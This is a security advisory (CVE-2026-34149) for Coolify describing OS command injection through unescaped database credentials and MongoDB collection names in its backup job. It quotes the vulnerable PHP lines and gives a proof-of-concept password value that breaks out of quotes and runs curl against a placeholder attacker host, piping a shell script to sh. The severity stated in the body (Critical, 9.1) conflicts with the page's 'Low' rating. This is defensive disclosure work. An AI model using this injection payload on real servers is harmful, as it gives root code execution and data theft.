Skip to content

Authenticated Host-Level RCE via Unescaped Database Credentials in Backup Jobs

Low
andrasbacsai published GHSA-4vff-6j8j-qhcg Jul 2, 2026

Package

composer coollabsio/coolify (Composer)

Affected versions

< 4.0.0-beta.471

Patched versions

4.0.0-beta.471

Description

Summary

DatabaseBackupJob.php interpolates user-controlled database credentials — including usernames, passwords, and MongoDB collection exclusion names — directly into shell commands without escaping. The previous fix (GHSA-vm5p-43qh-7pmq) applied escapeshellarg() only to database names but left all other user-controlled fields unescaped. An authenticated user with database management permissions can achieve root-level remote code execution on any managed server.

Severity

Critical — CVSS 9.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE-78 — OS Command Injection

Affected Fields

1. PostgreSQL Username — Direct Interpolation

$backupCommand .= " $this->container_name pg_dumpall --username {$this->database->postgres_user} | gzip > $this->backup_location";

2. PostgreSQL Password — Double-Quote Breakout

$backupCommand .= " -e PGPASSWORD=\"{$this->postgres_password}\"";

3. MySQL/MariaDB Root Password — Double-Quote Breakout

$commands[] = "docker exec $this->container_name mysqldump -u root -p\"{$this->database->mysql_root_password}\" --all-databases ...";

4. MongoDB Collection Names — No Escaping

$collectionsToExclude = str($databaseWithCollections)->after(':')->explode(',');
." --excludeCollection " . $collectionsToExclude->implode(' --excludeCollection ')

5. MongoDB Credentials in URI — No Quoting (mongo:4)

$url = "mongodb://{$this->mongo_root_username}:{$this->mongo_root_password}@{$this->container_name}:27017";

Proof of Concept (PostgreSQL Password)

  1. Create a PostgreSQL database via Coolify dashboard or API
  2. Set postgres_password to: x" $(curl http://ATTACKER_IP/shell.sh|sh) "
  3. Configure a scheduled backup for this database
  4. When the backup job runs, the payload executes as root on the managed server

Impact

  • Root-level RCE on all managed servers
  • Persistent: re-executes on every scheduled backup
  • Full data exfiltration
  • Lateral movement: compromise all servers managed by Coolify

Suggested Fix

Apply escapeshellarg() to all user-controlled fields before shell interpolation.

Timeline

  • 2026-03-03: Discovered and reported
  • 2026-06-01: 90-day disclosure deadline

Credit

Reported by Assaf Alassaf — Security Researcher

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N

CVE ID

CVE-2026-34149

Weaknesses

No CWEs